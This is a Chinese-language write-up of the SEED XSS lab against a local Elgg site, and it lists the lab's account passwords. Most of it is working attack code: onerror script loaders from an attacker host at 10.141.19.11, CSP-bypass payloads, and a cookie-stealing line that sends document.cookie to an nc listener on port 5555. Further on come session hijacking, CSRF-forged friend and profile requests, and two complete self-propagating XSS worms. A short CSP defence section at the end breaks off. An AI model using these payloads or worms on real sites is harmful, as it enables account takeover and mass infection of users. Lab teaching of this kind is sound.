目录
📌 1️⃣ 启动实验环境
dcup
📌 2️⃣ 以 Alice 账户登录 Elgg
-
Firefox
- 访问:http://www.seed-server.com
-
用户名 密码 admin seedelgg alice seedalice boby seedboby
charlie seedcharlie samy seedsamy
Oi_1.xss过滤测试
<script>alert('sb');</script>
保存并刷新页面,显示了警告弹窗(表示网站没有做过滤)
右键检查
让另一个用户(如 bob
)访问 Alice 个人资料,会弹出 Alice XSS Attack
的警告框。
2.通过 src 属性嵌入js
如果你的 JavaScript 脚本过长,可以将 JavaScript 程序保存在文件中,然后使用 src 属性引用。
1.打开kali启动apache2
sudo systemctl start apache2 //开启apache服务器
sudo systemctl status apache2 //检查apache状态开启了没有
2.查看kali ip
# ip a 130 ⨯
1: lo: <LOOPBACK,UP,LOWER_UP> UNKNOWN
inet 127.0.0.1/8 scope host lo
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> UP qlen 1000
inet 10.141.19.11/24 brd 10.141.19.255 //桥接
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> UP
inet 192.168.200.129/24 brd 192.168.200.255 //NAT
3.写入js
Apache 默认的网站目录在 /var/www/html/
,我们需要把 JavaScript 文件放进去:
cd /var/www/html
sudo vi a.js # 创建文件
在a.js
里写入:
alert('sb');
在b.js
里写入:
alert(document.cookie) //获取当前页面所有Cookie
4.重启 Apache
sudo systemctl restart apache2
5.访问 JS 文件
客户机访问kali的ip确保远程脚步可以加载
6.远程传入js。
正常情况
<script src="http://10.141.19.11/a.js"> </script>
如果你的目标是通过动态方式执行从远程服务器加载的 JavaScript,
0.你可以使用 eval
或 setTimeout
来执行脚本:
<img src="x" onerror="eval('var script = document.createElement(\"script\"); script.src=\"http://10.141.19.11/a.js\"; document.head.appendChild(script);')">
0.或者使用 setTimeout
延迟执行
<img src="x" onerror="setTimeout(function(){ var script = document.createElement('script'); script.src = 'http://10.141.19.11/a.js'; document.head.appendChild(script); }, 100);">
0.尝试嵌入 <script>
标签
一种方法是将 JavaScript 文件直接嵌入 <script>
标签。你可以通过 img
标签的 onerror
事件动态创建并插入 script
标签:
<img src="x" onerror="var s = document.createElement('script'); s.src = 'http://10.141.19.11/a.js'; document.body.appendChild(s);">
<img src="x" onerror="eval('var script=document.createElement(\'script\');script.src=\'http://10.141.19.11/a.js\';document.head.appendChild(script);')">
0.CSP 绕过
使用 nonce
或 hash
:某些 CSP 策略允许使用 nonce
或 hash
来授权某些内联脚本的执行。尝试确保你的脚本符合这些规则,或者用 eval
或 setTimeout
来绕过 CSP 限制。
<script nonce="random-value">var script = document.createElement('script'); script.src = 'http://10.141.19.11/a.js'; document.head.appendChild(script);</script>
0.使用 javascript:
伪协议
如果直接插入 http://
地址被浏览器自动包裹为 <a>
标签,尝试使用 javascript:
伪协议。它可以绕过某些浏览器的自动保护机制:
<img src="x" onerror="eval('javascript:var script=document.createElement(\'script\');script.src=\'http://10.141.19.11/a.js\';document.head.appendChild(script);')">
0.避免使用 eval()
和 onerror
一起
如果浏览器自动阻止了 eval()
或转义了某些字符,尝试直接将 JavaScript 代码插入并执行,而不依赖 eval()
。可以尝试使用事件监听器和 setTimeout()
来延迟执
<img src="x" onerror="setTimeout(function(){var script=document.createElement('script'); script.src='http://10.141.19.11/a.js'; document.head.appendChild(script);}, 100);">
0.通过 jsonp
绕过
一些网站和服务器可能允许通过 jsonp
(JSON with Padding)请求来加载 JavaScript 文件,而不是通过传统的 script
标签。通过 jsonp
可以绕过一些 CSP 或跨域限制。如果你能够控制服务器端,你可以考虑启用 jsonp
。
<img src="x" onerror="var script = document.createElement('script'); script.src = 'http://10.141.19.11/a.js?callback=processData'; document.head.appendChild(script);">
Oi_2.显示cookie
载入b.js
<script src="http://10.141.19.11/a.js"> </script>
当前页面打印出的所有cookies,只有用户看到 cookies,而不是攻击者。我们希望 JS 代码将用户 cookies 发给我们。
Oi_3. 窃取受害者机器的 Cookies
插入
<script>
document.write('<img src="http://10.141.19.11:5555?c='+ escape(document.cookie) + '">');
</script>
kali监听端口
nc -lvp 5555
-l
参数表示nc
监听的是一个传入连接。-nv
参数用于显示更详细的输入。-k
参数表示当一个连接完成时,监听另一个连接。
9.手动解码 Cookie
Kali 终端运行:
echo "Elgg%3Dlle5mmbujmsa6gsq8t70ounfqs" | python3 -c "import sys, urllib.parse; print(urllib.parse.unquote(sys.stdin.read()))"
得到:
Elgg=lle5mmbujmsa6gsq8t70ounfqs
Oi.会话劫持
- 浏览器里打开
http://www.seed-server.com
- 打开开发者工具(F12)→
Application
→Storage
→Cookies
- 手动添加:
-
Name: Elgg Value: lle5mmbujmsa6gsq8t70ounfqs
cookie不给修改,用控制台修改
控制台输入:CTL+回车;刷新登录
document.cookie = "Elgg=lle5mmbujmsa6gsq8t70ounfqs; path=/; domain=www.seed-server.com; secure; HttpOnly";
会话劫持前提Cookie有效时间内
9.1. 用户已经登录
- 如果用户没有登录,那么没有有效的会话 Cookie(比如
Elgg
)。如果你尝试篡改 Cookie,也不会生效,因为没有有效的会话信息来标识已登录的用户。
9.2. Cookie 有效
- 你需要知道正确的 Cookie 值。如果在尝试篡改时,
Elgg
这个 Cookie 的值不正确或者过期,那么篡改 Cookie 也无法成功劫持会话。
9.3. 用户已经生成有效的会话
- 如果你是在用户未登录的情况下尝试直接修改 Cookie,除非有其他机制(如 CSRF 漏洞等),否则不会自动让用户进入目标账户。Cookie 通常会绑定到特定的会话,因此当你修改了 Elgg Cookie 后,用户仍然需要与该站点的会话建立连接。
- 用户登录会话必须有效:劫持会话 Cookie 只能在用户已经登录并且会话 Cookie 仍然有效时进行。如果用户没有登录或者会话已经过期,那么即使修改 Cookie 也不会自动登录
Oi_4.自动添加受害者为朋友
这部分主要是利用XSS攻击让受害者自动添加用户Army为好友。
先搞清楚添加朋友是通过请求哪些参数来实现的,使用 FireFox 的插件 HTTP header live 可以获取发送朋友请求时的全部请求信息,我们先登陆 Samy 的账户用Boby账户添加Army为好友,并对 Alice 发送好友请求,并使用 HTTP header live 插件来捕获信息。
跟在Windows使用火狐插件一样。开发者模式,直接搜索插件,添加插件。
用户名 | 密码 |
---|---|
admin | seedelgg |
alice | seedalice |
boby | seedboby |
charlie | seedcharlie |
samy | seedsamy |
先点击HTTP header live 插件
依次点击 Members -> Alice -> Add friend 即可添加好友,点击 Add friend 时捕获到的 GET 请求如下所示:
我们发现想要完成添加好友的操作,必须获取几个参数:
- friend 编号,可以得出 Samy 的编号为 56
- __elgg_ts 参数
- __elgg_token
10.1. 编写JS 脚本
提供了一个JavaScript 代码框架:
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
// 构建添加 Samy 为好友的 HTTP 请求。
var sendurl=...; //FILL IN
// 创建并发送 Ajax 请求,以添加好
Ajax=new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.send();
}
</script>
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; //(1)
var token="&__elgg_token="+elgg.security.token.__elgg_token; //(2)
var sendurl="http://www.seed-server.com/action/friends/add?friend=56"+ts+token+ts+token; //FILL IN
Ajax=new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.send();
}
</script>
问题 | 解释 |
---|---|
Q1:解释第 (1) 行和第 (2) 行的目的,为什么需要这两行? | 这两行代码的目的是防止 CSRF(跨站请求伪造)攻击。 - var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts; 用于获取一个时间戳(__elgg_ts ),确保请求是由合法用户发出的并且请求时间窗不会过期。- var token = "&__elgg_token=" + elgg.security.token.__elgg_token; 用于获取一个 CSRF 令牌(__elgg_token ),确保请求没有被篡改。 |
Q2:如果 Elgg 应用程序仅为“About Me”部分提供编辑器模式,即你无法切换到文本模式,你还能成功发起攻击吗? | 不可以。编辑器模式会对 HTML 标签进行转义,并且自动为每行添加 <p> 标签和 <br /> 换行符,这样会导致你的 JavaScript 脚本变成纯文本,无法被执行。例如, <script> 标签会被转义成 <script> ,从而无法被浏览器识别和执行。 |
总结:
-
解释:
-
第 (1) 行 (
ts
): 用于生成一个 时间戳,它是防止 CSRF 攻击的一个机制。它确保请求在合法的时间窗口内发出,防止恶意请求重放。 -
第 (2) 行 (
token
): 用于生成一个 CSRF 令牌,这是防止请求被篡改的机制。如果没有有效的令牌,服务器会拒绝请求。 - 如果只能在 普通的编辑器模式 下工作,你的 JavaScript 代码将无法正常执行,因为该模式会对 HTML 标签进行转义,导致脚本被视为纯文本,而不是有效的 JavaScript 脚本。
-
<p><script type="text/javascript"><br /> window.onload = function () {<br /> var Ajax=null;</p> <p> var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; //(1)<br /> var token="&__elgg_token="+elgg.security.token.__elgg_token; //(2)</p> <p> //Construct the HTTP request to add Samy as a friend.<br /> var sendurl="http://www.seed-server.com/action/friends/add?friend=56"+ts+token+ts+token; //FILL IN</p>
10.2 js发起添加好友步骤:
- 登录
www.xsslabelgg.com
网站,使用你的账号进入个人主页。 - 进入“Edit Profile”(编辑个人资料)。
- 找到 “About Me” 字段,确保切换到 Edit HTML 模式(通常可以点击“Source”或“HTML”模式按钮)。
4.粘贴你的 JavaScript 代码,然后 保存修改
5.访问你的个人主页,此时代码会被浏览器执行,自动发送 AJAX 请求,添加好友。
10.3 验证效果
- 先 取消 Samy 好友(如果已经添加)。
- 然后 访问自己的个人主页,触发 XSS 代码。
- 再次检查好友列表,如果 Samy 已经被添加成功,则实验成功!
原理
该代码利用 存储型 XSS(Stored XSS),将 JavaScript 脚本嵌入到个人简介字段。当其他用户(或自己)访问这个页面时,代码会被执行,自动向 /action/friends/add?friend=47
发送请求,添加好友。
Oi_5.修改受害者资料
利用 XSS 攻击 修改别人的个人主页
具体是修改访问 Samy 主页的用户的主页内容。你将通过 JavaScript 脚本实现这一目标,脚本会发送一个 POST 请求 修改主页内容。
步骤详细讲解:
1. 获取必要的参数
在修改个人资料时,使用 HTTP Header Live 插件 抓取请求,发现修改时发送的 POST 请求包含以下参数:
__elgg_token
: CSRF 令牌(防止跨站请求伪造)__elgg_ts
: 时间戳(防止请求超时和重放攻击)name
: 用户名description
: 修改的内容(即你的攻击内容)guid
: 用户 ID(Samy 的guid
为 59)
保存抓包
发送了一个这样的请求:
__elgg_token=jV-xh15mvvAzLBBA20s8qw&__elgg_ts=1741914045&name=Samy&description=<p>1111</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2&guid=59
2. 编写 JavaScript 脚本
们提供了一个JavaScript 代码框架
<script type="text/javascript">
window.onload = function(){
// 获取 user name, user guid, Time Stamp __elgg_ts,和 Security Token __elgg_token
var userName="&name="+elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//构造URL的内容
var content=...;
//填空
var samyGuid=...;
//填空
var sendurl=...;
//填空
if(elgg.session.user.guid!=samyGuid)
{
// 创建并发送AJAX请求,以修改个人资料
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST", sendurl, true);
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
通过前面分析得出的信息,我们可以编写一个 JavaScript 脚本 来模拟修改个人资料的请求。
<script type="text/javascript">
window.onload = function(){
// 获取当前用户的参数:用户名、guid、时间戳、CSRF 令牌
var name = "&name=" + elgg.session.user.name;
var guid = "&guid=" + elgg.session.user.guid;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
// 构造描述内容(即你要写的修改信息)
var description = "&description=Your are sb";
// 拼接请求内容
var content = token + ts + description + guid + name;
// Samy 的 guid
var samyGuid = 59;
// 修改个人资料的 URL
var sendurl = "http://www.seed-server.com/action/profile/edit";
// 判断当前用户不是 Samy 才发送请求
if(elgg.session.user.guid != samyGuid) {
// 创建并发送 Ajax 请求
var Ajax = new XMLHttpRequest();
Ajax.open("POST", sendurl, true);
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
脚本解释:
name
,guid
,ts
,token
: 这些是当前用户的信息,分别代表用户名、用户 ID、时间戳和 CSRF 令牌。description
: 这是你修改主页时要显示的内容。content
: 拼接成一个完整的请求内容,包含了所有参数。sendurl
: 修改个人资料的请求 URL(这里是/action/profile/edit
)。- 判断条件:
if(elgg.session.user.guid != samyGuid)
用于确保 Samy 自己不会被攻击。只有当当前用户不是 Samy 时,才会发送修改请求。
插入脚本的位置
这个脚本的关键是它需要插入到能够 执行 JavaScript 代码的地方,通常是在 Samy 的主页 或是一个可以注入脚本的页面中。
插入的方式和位置:
-
找到可以注入 JavaScript 的页面:
- 你需要找一个能够 插入 JavaScript 的地方。例如,如果 Samy 的主页允许通过 评论、消息或输入框等 输入内容,而这些输入框没有正确过滤 JavaScript,那么就可以注入脚本。
-
通过恶意链接注入脚本:
- 如果目标网站没有正确过滤用户输入的内容,你可以通过 恶意链接 来注入脚本。这个链接可以是一个 包含恶意 JavaScript 的 URL,当受害者访问时,脚本就会自动执行。
比如,你可以创建一个包含脚本的链接,格式如下:
http://www.xsslabelgg.com/profile?comment=<script type="text/javascript">...你的脚本...</script>
这样,当用户访问这个链接时,脚本就会被执行,进而发送请求修改主页内容。
-
注入到 Samy 的主页:
- 如果 Samy 的主页存在 XSS 漏洞(即可以插入 JavaScript),那么你可以将这段脚本直接插入到 Samy 主页的某个字段中。比如说,某个评论、留言、个人资料等字段,脚本可以通过这些地方来执行。
攻击测试
登录 Alice 账户,访问 Samy 的主页,你会发现 Alice 的 About Me 部分被修改为脚本中设定的内容 "Your are sb"。这证明攻击成功。
4. Q & A
Q1: 为什么需要判断当前用户的 guid
不等于 Samy 的 guid
?
- A1: 判断当前用户的
guid
不等于 Samy 的guid
是为了确保 Samy 自己不会被修改。如果删除这一行,脚本会导致 Samy 的主页也被修改,并且 Samy 会看到恶意内容,这会阻止下一次的攻击。
Q2: 删除判断条件后会发生什么?
- A2: 如果删除了
if(elgg.session.user.guid != samyGuid)
这一行,Samy 在访问自己的主页时,也会触发脚本修改他的主页内容,从而 覆盖掉原本的脚本,攻击失败。因为脚本会被替换为 "Your rare sb",导致无法再次执行攻击。
Q3:我们为什么需要第 (1) 行?删除这行,重复你的攻击。报告并解释你的观察结果。
这行判断用户的 guid 是否是 Samy 的 guid,如果不是,再发送 POST 请求进行攻击,这样可 以防止 Samy 自己被攻击。
如果删除第一行,samy 自己也会受到攻击,删除这行,重复攻击
可以发现 Samy 的恶意脚本也被替换成了 Your profile has been changed!!!,导致无法进行 下一次的攻击
总结:
- 第一步:抓取 POST 请求并确定所需参数(如
__elgg_token
、guid
、name
等)。 - 第二步:编写 JavaScript 脚本来模拟发送修改个人资料的请求。
- 第三步:使用脚本攻击目标用户的主页。
- 第四步:确保判断条件的存在,以防止攻击者自己被攻击。
通过这种方法,你可以成功修改访问 Samy 主页的用户的个人资料。
Oi_6:编写自传播 XSS 蠕虫
恶意 JavaScript 程序要成为真正的蠕虫,应该要实现自传播。也就是说,每当有人查看受感染的个人资料时,他们的个人资料不仅会被修改,蠕虫还会传播到他们的个人资料中,进一步影响查看这些新感染资料的其他人。在这个任务中,你需要实现这样一个蠕虫,它不仅修改受害者的个人资料并将用户“Samy”添加为朋友,还将蠕虫本身的副本添加到受害者的个人资料中,这样受害者就变成了攻击者。XSS 蠕虫 代码需要 放在自己的账户 上
通常你的蠕虫xss插入到(自己的网页里)
-
用户简介 (
description
字段)- 你要手动修改自己的个人资料,把 XSS 代码 填入 简介字段。
- 例如,你登录后,访问个人设置页面,在 简介栏 里输入:js蠕虫
- 这样 当别人访问你的主页时,他们的账户会被感染,然后会继续感染其他人。
要成为真正的蠕虫,恶意JavaScript 程序应该能够自动传播。每当一个用户查看受感染者的个人 资料时,不仅这个用户的个人资料会被修改,蠕虫程序还会拷贝到该用户的个人资料中,使得这个用户 也成为了蠕虫的携带者。这样,查看受感染个人资料的人越多,蠕虫传播得就越快。这与Samy蠕虫的 机制相同:在2005 年 10 月 4 日发布后的20小时内,超过一百万用户受到影响,使Samy成为当时 历史上传播速度最快的病毒之一。 能够实现这一功能的JavaScript 代码被称为自我传播跨站脚本攻击蠕虫。在这个任务中,你需要 实现这样一个蠕虫,它不仅会修改受害者的个人资料,并将用户Samy添加为受害者好友,还会将自身 复制到受害者的个人资料中,使受害者变成一个攻击者。 为了实现自我传播,在恶意JavaScript 程序修改受害者个人资料时应该将其自身复制到受害者的 个人资料中。有几种方法可以实现这一点,我们讨论其中两种常见的方法。
1. Link 方法(链接方法)
如果蠕虫是通过<script>标签的src 属性来下载的,那么编写自我传播蠕虫会容易得多
我们已在任务1中讨论了 src 属性,并给出了一个例子。蠕虫可以简单地将以下 <script>标签复制到受害者的个人资料中就可以了。
<script src="http://10.141.19.12:5555/xss_worm.js"></script> //kali的ip
可以使用 src
属性嵌入恶意脚本,并利用这个恶意脚本将以上这段代码传递到其他人的 Profile,这样就实现了自传播的 XSS 蠕虫。
*实验演示步骤
🔹Step 1: 搭建 HTTP 服务器
你的蠕虫代码需要托管在一个网页上,让受害者加载。因此,我们先在 Kali Linux 上启动一个 HTTP 服务器:
📌 在 Kali 终端运行
cd /var/www/html
python3 -m http.server 5555
这会启动一个 HTTP 服务器,监听 5555 端口。
🔹Step 2: 编写 XSS 蠕虫
在 Kali 上创建一个 JavaScript 文件 xss_worm.js
,用于劫持用户的页面并传播蠕虫。
📌 在 Kali 终端运行
vim /var/www/html/xss_worm.js
✍️ 输入以下代码xss_worm.js
window.onload = function(){
// 获取用户的GUID和Token
var userName = "&name=" + elgg.session.user.name;
var guid = "&guid=" + elgg.session.user.guid;
var ts = elgg.security.token.__elgg_ts;
var token = elgg.security.token.__elgg_token;
// 构造恶意 payload,修改受害者的主页
var content = "__elgg_token=" + token + "&__elgg_ts=" + ts + userName +
"&description=<p>Your profile has been changed!!!</p>" +
"<script src='http://10.141.19.12:5555/xss_worm.js'></script>&guid=" + guid;
var samyGuid = 59; // Samy 的 GUID
var sendurl1 = "http://www.seed-server.com/action/profile/edit"; // 修改 profile
var sendurl2 = "http://www.seed-server.com/action/friends/add?friend=59&__elgg_ts=" + ts + "&__elgg_token=" + token; // 添加好友
// 只有不是 Samy 自己才执行
if (elgg.session.user && elgg.session.user.guid && elgg.session.user.guid != samyGuid) {
var Ajax = new XMLHttpRequest();
Ajax.open("POST", sendurl1, true);
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
// 发送请求添加 Samy 为好友
var Ajax2 = new XMLHttpRequest();
Ajax2.open("GET", sendurl2, true);
Ajax2.send();
}
代码解析
XSS 蠕虫脚本作用:
- 获取当前用户的
GUID
和Token
。 - 构造恶意
POST
请求,修改受害者的profile
,并注入外部 JavaScript(xss_worm.js
)。 - 发送
GET
请求,自动添加Samy
为好友。 - 让
xss_worm.js
传播到其他用户。
🔹Step 3: 注入 XSS 代码
现在,我们要让 Samy 的主页感染 XSS 代码,从而传播蠕虫。
-
用浏览器访问 SEED
- 登录
http://www.seed-server.com
- 使用
Samy
:seedsamy账户登录
- 登录
-
编辑 Samy 主页
- 进入
Profile
设置页面 - 在 简介(Description) 里粘贴以下 XSS 代码:
- 进入
<script src="http://10.141.19.12:5555/xss_worm.js"></script> //kali的ip
🔹Step 4: 测试蠕虫传播
-
使用 Alice 账户
- 退出 Samy 账户,登录 Alice 账户
- 访问 Samy 主页
- 💥 结果:Alice 的主页会被感染,同时自动添加 Samy 为好友
-
使用 Bob 账户
- 退出 Alice 账户,登录 Bob 账户
- 访问 Alice 主页
- 💥 结果:Bob 也被感染,同时自动添加 Samy 为好友!
🔹Step 5: 观察传播效果
所有点击受感染主页的用户都会: ✅ 主页被修改
✅ 自动加 Samy 为好友
✅ XSS 代码继续传播
恭喜你,你的 XSS 蠕虫成功运行了! 🎉这说明我们编写的这个 xss 蠕虫是自传播的,而且所有访问过 Samy 主页的人都会感染这个蠕虫并可以继续传播给别人。
2. DOM 方法
DOM 方法: 如果整个JavaScript 程序(即蠕虫)被嵌入在受感染的个人资料中,为了传播蠕虫到 另一个个人资料,蠕虫代码可以使用DOMAPI从网页中找到其自身的代码。下面给出一个使用DOM API 的例子。这段代码会获取自身代码的一个副本,并在警告窗口中显示它:
<script id="worm">
var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
alert(jsCode);
</script>
这段代码的效果是将 JS能获取自身的副本,并显示在网页上,并尝试以弹出窗口的方式显示恶意脚本的内容。也就是XSS 蠕虫还可以使用 DOM APIs 从网页中检索自身的副本,从而将蠕虫传播到另一个人的资料中。
在自己账号samy 插入蠕虫
<script id="worm">
window.onload = function(){ // (1) 当网页加载完成后执行函数
var headerTag = "<script id=\"worm\" type=\"text/javascript\">"; // (2) 定义一个字符串,表示恶意脚本的开始标签,包含 id="worm"
var jsCode = document.getElementById("worm").innerHTML; // (3) 获取 id 为 "worm" 的元素的内部 HTML 内容(即这个脚本的代码)
var tailTag = "</" + "script>"; // (4) 定义一个字符串,表示恶意脚本的结束标签
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); // (5) 将获取到的完整脚本代码进行 URL 编码,以确保它可以安全地嵌入 URL 中
// 以下部分用于获取当前用户的信息并构造攻击请求
var userName="&name="+elgg.session.user.name; // (6) 获取当前用户的用户名
var guid="&guid="+elgg.session.user.guid; // (7) 获取当前用户的 GUID(全局唯一标识符)
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; // (8) 获取 Elgg 系统中的时间戳,防止 CSRF 攻击
var token="&__elgg_token="+elgg.security.token.__elgg_token; // (9) 获取 Elgg 系统中的安全令牌,防止 CSRF 攻击
var description="&description=<p>Your profile has been changed!!!"+wormCode; // (10) 设置修改用户个人资料时的描述,包含恶意脚本代码
// 构建最终的 URL 参数内容,准备通过 HTTP 请求发送
var content=token+ts+userName+description+guid; // (11) 将获取到的 token、时间戳、用户名、描述和 guid 合成一个完整的 URL 参数内容
var samyGuid=59; // (12) 设置一个目标用户的 GUID,此处为 Samy 的 GUID(用于攻击)
var sendurl1="http://www.seed-server.com/action/profile/edit"; // (13) 修改用户资料的 URL,发送 POST 请求到该 URL
var sendurl2="http://www.seed-server.com/action/friends/add?friend=59"+ts+token+ts+token; // (14) 发送 GET 请求,添加 Samy 作为朋友
// 检查当前用户的 GUID 是否与 Samy 的 GUID 匹配,如果不匹配,则执行攻击
if(elgg.session.user.guid!=samyGuid) // (15) 判断当前用户的 GUID 是否为 Samy
{
// 创建并发送 Ajax 请求,修改用户的个人资料
var Ajax=null; // (16) 初始化 Ajax 对象
Ajax=new XMLHttpRequest(); // (17) 创建一个新的 XMLHttpRequest 实例
Ajax.open("POST", sendurl1, true); // (18) 设置 HTTP 请求方法为 POST,目标 URL 为 sendurl1
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); // (19) 设置请求头的 Content-Type 为表单提交类型
Ajax.send(content); // (20) 发送请求,传递修改资料的内容(content)
}
// 创建并发送 Ajax 请求,添加 Samy 为朋友
Ajax=new XMLHttpRequest(); // (21) 创建新的 XMLHttpRequest 实例
Ajax.open("GET", sendurl2, true); // (22) 设置 HTTP 请求方法为 GET,目标 URL 为 sendurl2
Ajax.send(); // (23) 发送 GET 请求,执行添加朋友操作
}
</script>
注意事项: 在本次实验中,你可以尝试使用链接方法和DOM方法两种方式,但DOM方法是必须 做的,因为它更具挑战性且不依赖于外部JavaScript 代码。
实际影响
- 蠕虫自传播
- 每个受害者的主页都会被感染
- 任何访问受害者主页的用户也会被感染
- 隐蔽性强
- 使用 DOM 读取自身代码,避免直接写入脚本
- 自动添加好友
- 受害者会不知情地添加 Samy 为好友
*实验演示步骤
- 使用攻击者账号(Samy)登录
- 在个人简介中插入 XSS 代码
- 退出 Samy 账号
- 使用受害者(Alice)登录
- 访问 Samy 主页
- Alice 账号被感染,自动添加好友
- 使用 Bob 账号访问 Alice 主页
- Bob 也被感染,蠕虫继续传播
防御方法
- 输入过滤:使用
htmlspecialchars()
转义<script>
代码 - 内容安全策略(CSP):阻止
inline script
- SameSite Cookie:防止跨站请求
- HTTP-only Cookie:防止 JavaScript 读取
session
总结
- 这代码利用 XSS + CSRF 自传(跨站请求伪造)用于利用用户的身份进行未授权的操作
- 它会 修改受害者个人资料,并在主页上插入蠕虫代码
- 任何访问受害者主页的用户都会被感染,形成蠕虫式传播。这样就说明了这个 XSS 蠕虫是自传播的,而且使用 DOM 方法实现。
XSS + CSRF 结合攻击总结
攻击类型 | 描述 | 代码体现 | 影响 |
---|---|---|---|
XSS(跨站脚步) | 通过 XSS 注入恶意 JavaScript 代码 | document.getElementById("worm").innerHTML 获取自身代码并执行 | 在受害者的账户下运行,进行后续 CSRF 攻击 |
代码自动执行,无需用户操作 | window.onload 触发执行 | 受害者访问恶意页面即会触发攻击 | |
CSRF(跨站请求伪造) | 利用受害者的身份凭证发起请求 | var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; | 获取用户的身份 token 和时间戳,绕过 CSRF 保护 |
伪造受害者的 HTTP 请求 | Ajax.open("POST", sendurl1, true); Ajax.send(content); | 受害者在不知情的情况下修改个人资料,传播 XSS 代码 | |
自动执行未授权操作 | Ajax.open("GET", sendurl2, true); Ajax.send(); | 受害者自动添加攻击者(Samy)为好友 | |
CSRF 攻击特征 | 利用用户的身份 | elgg.session.user 和 elgg.security.token | 服务器认为是受害者本人发出的请求 |
伪造 HTTP 请求 | Ajax.open("POST", sendurl1, true); | 受害者执行未授权操作 | |
无需用户交互 | window.onload 触发执行 | 用户访问页面即会被攻击 |
这种结合利用 XSS 进行 代码注入,并通过 CSRF 利用受害者身份发起恶意请求,从而 实现自动传播。
Oi_7:使用 CSP 抵御 XSS 攻击
CSP策略是网页服务器在HTTP信息的头部设置的。有两种典型的方法来设置这个头,一种是通 过网页服务器(如Apache),另一种是通过网页应用程序。在本实验中,我们将分别使用这两种方法来 进行实验。
XSS 漏洞的根本问题在于HTML 允许JavaScript 代码与数据混在一起。因此,要解决这一根本 问题,我们需要将代码和数据分离开来。有两钟方法可以在HTML页面中放JavaScript代码,一种是
内嵌方式,另一种是链接方式。内嵌方式直接在页面中放置代码,而链接方式则将其放在外部文件中, 在页面内部链该文件。 内嵌方式是XSS漏洞的罪魁祸首,因为浏览器不知道代码最初来自哪里。它是来自可信的Web服 务器,还是来自不可信的用户?不知代码的真正来源,浏览器无法知道哪些代码可以安全执行,哪些代 码存在危险。链接方式向浏览器提供了非常重要的信息,即代码的来源。网站可以告诉浏览器哪些源是 可信赖的,这样浏览器就知道哪些代码可以安全执行。尽管攻击者也可以使用链接方式将代码包含在 其输入中,但他们没法将代码放在可信的地方。 网站如何告知浏览器哪个代码源是可信的是通过一个名为内容安全性策略(CSP)的安全机制实现 的。该机制专门设计用于击败XSS和点击劫持攻击。它已经成为一项标准,在如今的大多数浏览器中 都得到了支持。CSP不仅限制JavaScript 代码,还限制其他页面内容,例如限定图片、音频和视频可 以从哪里来等,并且还可以限制一个页面是否可以被嵌入到iframe中(用于防止点击劫持攻击)。在这 里,我们将仅专注于如何使用CSP防御XSS攻击。
第一步:恢复 网站 内置防御措施
网站本身已经提供了防御 XSS(跨站脚本攻击)的机制,但这里的代码注释掉了这些防御,我们需要重新启用。
-
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
- 修改
input.php
文件(路径:vendor/elgg/elgg/engine/lib/input.php
)。 - 找到
filter_tags()
方法,把被注释掉的代码恢复:
- 修改
function filter_tags($var) {
return elgg_trigger_plugin_hook('validate', 'input', null, $var);
}
这样,网站就会重新使用 HTMLawed
插件来过滤用户输入,移除危险的 HTML 标签和 JavaScript 代码。
2.恢复 htmlspecialchars()
过滤
- 在
dropdown.php
、text.php
和url.php
(路径:vendor/elgg/elgg/views/default/output/
)中,找到被注释掉的htmlspecialchars()
调用,并恢复:
这样,所有用户输入都会被自动编码,防止 <script>
标签等恶意代码被执行。
第二步:实施 CSP(内容安全策略)
CSP 允许服务器告诉浏览器哪些资源可以被加载,防止恶意脚本执行。
-
通过Apache设置CSP策略。
-
Apache可以为所有响应设置HTTP头,因此我们可以通过Apache 来设置CSP策略。在我们的配置中,设置了三个网站,但只有第二个站点设置了CSP策略(用标 记的地方)。这样设置后,当我们访问example32b时,Apache会在该站点的所有响应中添加指定的 CSP头
-
#目的:不设置CSP策略 <VirtualHost*:80> DocumentRoot/var/www/csp ServerNamewww.example32a.com DirectoryIndexindex.html </VirtualHost> #目的:在Apache配置中设置CSP策略 <VirtualHost*:80> DocumentRoot/var/www/csp ServerNamewww.example32b.com DirectoryIndexindex.html HeadersetContent-Security-Policy"\ default-src'self';\ script-src'self'*.example70.com \ " </VirtualHost> #目的:在网页应用程序中设置CSP策略 <VirtualHost*:80> DocumentRoot/var/www/csp ServerNamewww.example32c.com DirectoryIndexphpindex.php </VirtualHost>
-
修改 Apache 配置文件
apache_csp.conf
:
<VirtualHost *:80>
DocumentRoot /var/www/csp
ServerName www.example32b.com
DirectoryIndex index.html
